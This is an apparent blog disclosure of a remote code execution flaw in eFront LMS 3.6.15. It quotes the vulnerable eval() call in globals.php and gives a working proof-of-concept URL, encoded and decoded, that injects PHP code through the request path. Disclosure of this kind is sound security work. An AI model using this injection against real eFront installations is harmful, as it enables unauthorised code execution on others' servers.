eFront 3.6.15 Code Execution

`TL,DR; A friend reminded me a couple of days ago to publish something, since its been a while last I published a post. so this is going to be a short post about an interesting-ish RCE found in all versions of eFront LMS - unfortunately, since the report have passed 90 days since initial report, I am publishing it. I will update this post if a patch for the bug is out.  
  
The reason I have been away from the internet is because of the internet blockage in Ethiopia caused by the State of Emergency & its consequences facing you if you don't follow it, I am currently in a neighboring country so I am not technically disrespecting any laws.  
  
In /efront/libraries/globals.php:  
  
The following handleSEO() function is the one causing the code execution. it looks like the following:  
  
function handleSEO() {  
if (!$GLOBALS['configuration']['seo'] && $_SERVER['PATH_INFO']) {  
$parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));  
for ($i = 0; $i < sizeof($parts); $i+=2) {  
eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');  
}  
//unset($parts);unset($i);  
foreach (get_defined_vars() as $key => $value) {  
$_GET[$key] = $value;  
}  
}  
}  
  
Because of their assumption that $_SERVER['PATH_INFO'] isn't user controllable, they sent it stright to eval(), causing the code execution.  
  
Final PoC: https://localhost/efonrt/libraries/globals.php/hack/x%22%3Beval(phpinfo())%3B%24t%3D%22pwnd  
Decoded:  
https://localhost/efonrt/libraries/globals.php/hack/x";eval(phpinfo());$t="pwnd  
visiting the above link will get phpinfo() executed.  
  
Breaking it down:  
$parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));  
for ($i = 0; $i < sizeof($parts); $i+=2) {  
eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');  
}  
  
Because of that specific code, we send in /globals.php/hack/x, which will become:  
$hack="x  
  
But because php already executed the code, doing a comment (/*..*/) wont work and will crash it, so we will just tamper the variables like x";eval(phpinfo());$t="pwnd  
  
This will endup creating:  
  
$hack = "x";eval(phpinfo());$t="pwnd";  
  
This is then interpreted as:   
  
eval($hack = "x";eval(phpinfo());$t="pwnd";);  
  
And Boom! We got our code executed!  
  
Hope you enjoyed the read!  
  
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